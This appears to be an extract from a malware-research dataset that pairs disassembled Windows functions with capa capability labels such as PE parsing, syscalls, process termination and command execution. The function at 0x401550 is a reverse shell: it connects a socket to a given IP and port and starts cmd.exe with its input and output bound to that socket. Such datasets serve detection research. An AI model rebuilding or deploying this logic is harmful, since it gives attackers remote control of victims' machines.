joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400b2560
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1400b256d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1400b257d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1400b2565
lea eax, [rcx + 1]
jmp 0x1400b258b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1400b259e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1400b2584
sub eax, 3
jb 0x1400b25be
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1400b260d
sar eax, 1
movsxd rbp, eax
jb 0x1400b25f4
jmp 0x1400b25cc
add ebx, ebx
jne 0x1400b25ca
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1400b25f4
inc ecx
add ebx, ebx
jne 0x1400b25da
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1400b25f4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1400b25ed
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1400b25dc
add ecx, 2
jmp 0x1400b25f9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1400b2522
jmp 0x1400b256d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x4400
mov dl, 1
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1400b2659
cmp rsi, rcx
jae 0x1400b2661
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1400b2640
cmp al, 0x8f
ja 0x1400b2640
cmp byte [rsi - 2], 0xf
je 0x1400b2646
sub al, 0xe8
cmp al, 1
ja 0x1400b262a
cmp rsi, rcx
jae 0x1400b2661
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1400b2630
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1400b2661
lodsb al, byte [rsi]
jmp 0x1400b2640
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0xb0000]
mov eax, dword [rdi]
or eax, eax
je 0x1400b26be
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xb325c]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1400b266e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1400b26b8
mov qword [rbx], rax
add rbx, 8
jmp 0x1400b268e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1400b26f8
cmp al, 0xef
ja 0x1400b26ea
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1400b26ca
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x1400b26d9
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x227]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1400b274c
sub rsp, 0xffffffffffffff80
jmp 0x1400045a0
Function at 0x1400e4a90
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1400e4a9d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1400e4aad
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1400e4a95
lea eax, [rcx + 1]
jmp 0x1400e4abb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1400e4ace
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1400e4ab4
sub eax, 3
jb 0x1400e4aee
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1400e4b3d
sar eax, 1
movsxd rbp, eax
jb 0x1400e4b24
jmp 0x1400e4afc
add ebx, ebx
jne 0x1400e4afa
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1400e4b24
inc ecx
add ebx, ebx
jne 0x1400e4b0a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1400e4b24
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1400e4b1d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1400e4b0c
add ecx, 2
jmp 0x1400e4b29
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1400e4a52
jmp 0x1400e4a9d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x9ce00
mov dl, 0xa
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1400e4b89
cmp rsi, rcx
jae 0x1400e4b91
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1400e4b70
cmp al, 0x8f
ja 0x1400e4b70
cmp byte [rsi - 2], 0xf
je 0x1400e4b76
sub al, 0xe8
cmp al, 1
ja 0x1400e4b5a
cmp rsi, rcx
jae 0x1400e4b91
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1400e4b60
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1400e4b91
lodsb al, byte [rsi]
jmp 0x1400e4b70
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0xe0000]
mov eax, dword [rdi]
or eax, eax
je 0x1400e4bfa
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xf9b4c]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1400e4b9e
jns 0x1400e4bd3
movzx rdx, word [rdi]
add rdi, 2
jmp 0x1400e4bdd
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1400e4bf4
mov qword [rbx], rax
add rbx, 8
jmp 0x1400e4bbe
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1400e4c34
cmp al, 0xef
ja 0x1400e4c26
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1400e4c06
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x1400e4c15
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x21f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1400e4c88
sub rsp, 0xffffffffffffff80
jmp 0x140029e50
Function at 0x140002980
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400029ca
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400029ca
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400029ca
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400029ca
cmp dword [rcx + 0x84], 0xe
jbe 0x1400029ca
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400029cc
xor al, al
add rsp, 0x28
ret
Function at 0x140011118
Capabilities:
Execute syscall

Disassembly:
jmp 0x140011ee0
mov r10, rcx
mov eax, 0x26
syscall
ret

Function at 0x1400111ea
Capabilities:
Execute syscall

Disassembly:
jmp 0x140011f01
mov r10, rcx
mov eax, 0xc7
syscall
ret

Function at 0x140011203
Capabilities:
Terminate process

Disassembly:
jmp 0x140013330
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001128a
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014680
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400146a0
xor al, al
jmp 0x140014721
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400146b3
xor al, al
jmp 0x140014721
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400146dd
xor al, al
jmp 0x140014721
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400146f1
xor al, al
jmp 0x140014721
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014703
xor al, al
jmp 0x140014721
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001471f
xor al, al
jmp 0x140014721
mov al, 1
add rsp, 0x38
ret
Function at 0x1400113cf
Capabilities:
Execute syscall

Disassembly:
jmp 0x140011eeb
mov r10, rcx
mov eax, 0x18
syscall
ret

Function at 0x1400113d4
Capabilities:
Execute syscall

Disassembly:
jmp 0x140011ef6
mov r10, rcx
mov eax, 0x3a
syscall
ret
Function at 0x401550
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x2a0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x230], rcx
mov dword [rbp + 0x238], edx
lea rax, [rbp + 0x60]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [rbp + 0x218], rax
mov word [rbp + 0x200], 2
mov rcx, qword [rbp + 0x230]
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x204], eax
mov eax, dword [rbp + 0x238]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x202], ax
lea rax, [rbp + 0x200]
mov rcx, qword [rbp + 0x218]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x10
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAConnect]
call rax
cmp eax, 0xffffffff
jne 0x401659
mov rax, qword [rbp + 0x218]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x40175e
mov eax, dword [rbp + 0x238]
mov r8d, eax
mov rdx, qword [rbp + 0x230]
lea rcx, str.Connected_to__s:_d_n
call sym.printf
movabs rax, 0x6578652e646d63
mov qword [rbp + 0x58], rax
lea rax, [rbp - 0x30]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x30], 0x68
mov dword [rbp + 0xc], 0x101
mov rax, qword [rbp + 0x218]
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x20], rax
lea rax, [rbp + 0x58]
lea rdx, [rbp + 0x40]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov eax, dword [rbp + 0x50]
mov edx, eax
lea rcx, str.Process_Created__lu_n
call sym.printf
mov rax, qword [rbp + 0x40]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x48]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x2a0
pop rbp
ret
Function at 0x4028f0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x402900
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x402910
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402951
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x402948
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x402953
add rax, 0x28
cmp rax, r9
jne 0x402934
xor eax, eax
ret

Function at 0x4029f0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00404360]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x402a5d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402a5d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402a5d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402a54
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402a5f
add rax, 0x28
cmp rax, r9
jne 0x402a40
xor eax, eax
add rsp, 0x28
ret

Function at 0x402b60
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00404360]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x402b80
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402b78
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402bdd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402bd4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402be4
add rax, 0x28
cmp rax, r9
jne 0x402bc0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x402c00
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x00404360]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x402c6e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402c6e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x402c6e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x402c6e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x402c65
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x402c75
add rcx, 0x28
cmp rcx, rax
jne 0x402c50
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x402c88
jmp 0x402c6e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x402c96
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x402c6e
test r9d, r9d
jg 0x402c80
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x140009890
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000968c
Function at 0x14000ebd8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000ec08
xor eax, eax
jmp 0x14000eccb
mov rbp, rbx
cmp word [rax], si
je 0x14000ec2d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000ec14
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000ec10
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000eaf8
movsxd r14, eax
test eax, eax
jne 0x14000ec6b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000ec01
mov rcx, r14
call fcn.14000b38c
mov rdi, rax
test rax, rax
jne 0x14000ec84
xor ecx, ecx
call fcn.14000a714
jmp 0x14000ec60
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000eaf8
test eax, eax
jne 0x14000ecb5
mov rcx, rdi
call fcn.14000a714
jmp 0x14000ecbf
xor ecx, ecx
call fcn.14000a714
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140012fec
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140013002
mov al, 1
jmp 0x140013062
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140013013
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140013060
mov ecx, dword [rcx + 0x18]
nop
call fcn.14000f4f8
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140013060
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140013060
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140013060
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140013062
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x1400140a0
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000dbc8
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14001412a
cmp byte [rbp - 0x21], r15b
je 0x140014125
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140014160
call fcn.14000a964
test eax, eax
jne 0x14001414c
cmp byte [rbp - 0x21], r15b
je 0x140014144
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140014160
cmp byte [rbp - 0x21], r15b
je 0x14001415d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000d1a8
test eax, eax
jne 0x140014200
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000dbc8
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14001419f
cmp byte [rbp - 0x21], r15b
je 0x1400141d4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400141d4
call fcn.14000a964
test eax, eax
jne 0x1400141c0
cmp byte [rbp - 0x21], r15b
je 0x1400141b9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400141d4
cmp byte [rbp - 0x21], r15b
je 0x1400141d1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000d1a8
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140014200
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140014203
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140014211
mov rcx, rdi
call fcn.14000a714
cmp byte [rbp + 0x3f], r15b
je 0x140014220
mov rcx, qword [rbp + 0x27]
call fcn.14000a714
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1400111f9
Capabilities:
Terminate process

Disassembly:
jmp 0x140013110
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011285
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014450
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014470
xor al, al
jmp 0x1400144f1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014483
xor al, al
jmp 0x1400144f1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400144ad
xor al, al
jmp 0x1400144f1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400144c1
xor al, al
jmp 0x1400144f1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400144d3
xor al, al
jmp 0x1400144f1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400144ef
xor al, al
jmp 0x1400144f1
mov al, 1
add rsp, 0x38
ret
Function at 0x14000de70
Capabilities:
Write file on windows

Disassembly:
push r13
push r12
push rbx
sub rsp, 0x40
mov rax, qword [0x140043170]
mov r12, rcx
mov rbx, rdx
test rax, rax
je 0x14000df20
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
test rcx, rcx
je 0x14000df00
call sym.strlen
lea r13, [rsp + 0x20]
mov rdx, r12
mov rcx, r13
mov r8, rax
call sym.toNimStr
mov r12, qword [rsp + 0x28]
mov rcx, r13
call qword [0x140043170]
test r12, r12
je 0x14000ded9
test byte [r12 + 7], 0x40
je 0x14000df58
lea rcx, [0x140036380]
call sym.__emutls_get_address
cmp byte [rax], 0
jne 0x14000df78
add rsp, 0x40
pop rbx
pop r12
pop r13
ret
mov qword [rsp + 0x20], 0
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x28], 0
call rax
jmp 0x14000ded9
mov ecx, 2
call qword [sym.__acrt_iob_func]
mov rcx, r12
mov r8, rbx
mov edx, 1
mov r13, rax
mov r9, rax
call sym.fwrite
mov rcx, r13
add rsp, 0x40
pop rbx
pop r12
pop r13
jmp sym.fflush
lea rcx, [0x1400363a0]
call sym.__emutls_get_address
mov rdx, r12
mov rcx, rax
call sym.rawDealloc__system_u6948
jmp 0x14000ded9
mov byte [rax], 0
lea rcx, [0x1400362c0]
call sym.__emutls_get_address
xor r8d, r8d
mov rcx, rax
mov rax, qword [rax]
mov rdx, qword [rax + 0x38]
add rsp, 0x40
pop rbx
pop r12
pop r13
jmp sym.eqcopy___stdZtypedthreads_u169

Function at 0x14000f570
Capabilities:
Write file on windows

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
lea r13, [0x140043140]
mov rsi, rdx
mov rbx, rcx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
test rsi, rsi
jle 0x14000f5ff
lea rcx, [0x140036380]
xor r14d, r14d
lea r12, [rsp + 0x20]
call sym.__emutls_get_address
mov rbp, qword [sym.__acrt_iob_func]
mov rdi, rax
jmp 0x14000f5cd
add r14, 1
add rbx, 0x10
cmp rsi, r14
je 0x14000f606
mov ecx, 1
call rbp
movdqu xmm0, xmmword [rbx]
xor r8d, r8d
mov rdx, r12
mov rcx, rax
movaps xmmword [rsp + 0x20], xmm0
call sym.writeWindows__system_u8906
cmp byte [rdi], 0
je 0x14000f5c0
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov rbp, qword [sym.__acrt_iob_func]
mov ecx, 1
call rbp
mov r8d, 1
mov edx, 1
lea rcx, [0x1400374e1]
mov r9, rax
call sym.fwrite
mov ecx, 1
call rbp
mov rcx, rax
call sym.fflush
mov rcx, r13
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x14001a030
Capabilities:
Execute command

Disassembly:
push rbx
sub rsp, 0x20
lea rdx, [0x140037fbe]
mov rax, qword [rcx + 8]
add rax, 8
cmp qword [rcx], 0
cmovne rdx, rax
mov rcx, rdx
call sym.system
mov rcx, qword [0x14003a250]
movsxd rbx, eax
call sym.__emutls_get_address
cmp byte [rax], 0
mov eax, 0
cmove rax, rbx
